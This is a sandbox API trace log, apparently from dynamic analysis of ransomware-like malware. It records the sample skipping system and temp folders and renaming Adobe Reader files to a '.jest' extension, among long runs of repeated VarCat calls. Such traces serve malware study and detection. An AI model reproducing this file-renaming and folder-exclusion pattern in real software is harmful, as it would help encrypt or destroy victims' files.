pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.093] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.093] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.093] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.093] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.093] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.093] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.094] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.094] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.094] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.094] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.094] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.094] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.094] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.094] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.095] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.095] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.095] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.095] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.095] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.095] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.095] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.095] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.096] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jB8UxrXKLruDlr bK9sKq9ut2G4t9dPhQZxC3 y4348CO5912xs4slL5vrPIlDlhLBTq341A3vNH-luS-ZGzo7IL2akKR mrS98Hp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jb8uxrxklrudlr bk9skq9ut2g4t9dphqzxc3 y4348co5912xs4sll5vrpildlhlbtq341a3vnh-lus-zgzo7il2akkr mrs98hp.tmp")) returned 0 [0156.096] GetLastError () returned 0x2 [0156.097] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0156.097] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0156.097] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm", cchLength=0x35 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm") returned 0x35 [0156.098] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.098] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm", cchLength=0x35 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm") returned 0x35 [0156.098] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.098] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm", cchLength=0x35 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm") returned 0x35 [0156.098] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.098] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm", cchLength=0x35 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm") returned 0x35 [0156.098] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.098] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm", cchLength=0x35 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm") returned 0x35 [0156.098] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.099] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm", cchLength=0x35 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm") returned 0x35 [0156.099] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.099] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.099] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.099] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.099] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.099] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.099] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm.jest")) returned 1 [0156.101] GetLastError () returned 0x0 [0156.101] VarBstrFromR4 (in: fltIn=0x479452e4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.78") returned 0x0 [0156.101] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0156.102] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea28 | out: ppsaOut=0x18ea28) returned 0x0 [0156.102] GetUserDefaultLCID () returned 0x409 [0156.102] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0156.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.108] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.108] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.108] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.108] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.108] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.108] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.108] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.108] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.108] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.109] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.109] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.109] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.109] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.109] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.109] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.109] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.109] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.109] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.110] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.110] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.110] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.110] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.110] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.110] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.110] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.110] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.110] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.111] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.111] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.111] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.111] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.116] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.116] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.116] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.116] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.116] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.116] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.116] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.117] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jWhyTrMqnuiazyK0z2Ec94z8iO5_b9LJ9hC3jZDa8U-HucdSn-bMi5zdF4hqIyOd7mQsOlhDi3BcerCUEvbUj_ u7d6m76bjX52_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jwhytrmqnuiazyk0z2ec94z8io5_b9lj9hc3jzda8u-hucdsn-bmi5zdf4hqiyod7mqsolhdi3bcercuevbuj_ u7d6m76bjx52_.tmp")) returned 0 [0156.117] GetLastError () returned 0x2 [0156.118] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0156.118] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0156.118] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm", cchLength=0x34 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm") returned 0x34 [0156.119] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.119] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm", cchLength=0x34 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm") returned 0x34 [0156.119] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.119] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm", cchLength=0x34 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm") returned 0x34 [0156.119] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.119] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm", cchLength=0x34 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm") returned 0x34 [0156.119] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.119] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm", cchLength=0x34 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm") returned 0x34 [0156.120] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.120] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm", cchLength=0x34 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm") returned 0x34 [0156.120] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.120] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.120] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.120] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.120] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.120] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.121] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm.jest")) returned 1 [0156.122] GetLastError () returned 0x0 [0156.123] VarBstrFromR4 (in: fltIn=0x479452e8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.81") returned 0x0 [0156.123] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0156.123] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea28 | out: ppsaOut=0x18ea28) returned 0x0 [0156.123] GetUserDefaultLCID () returned 0x409 [0156.123] 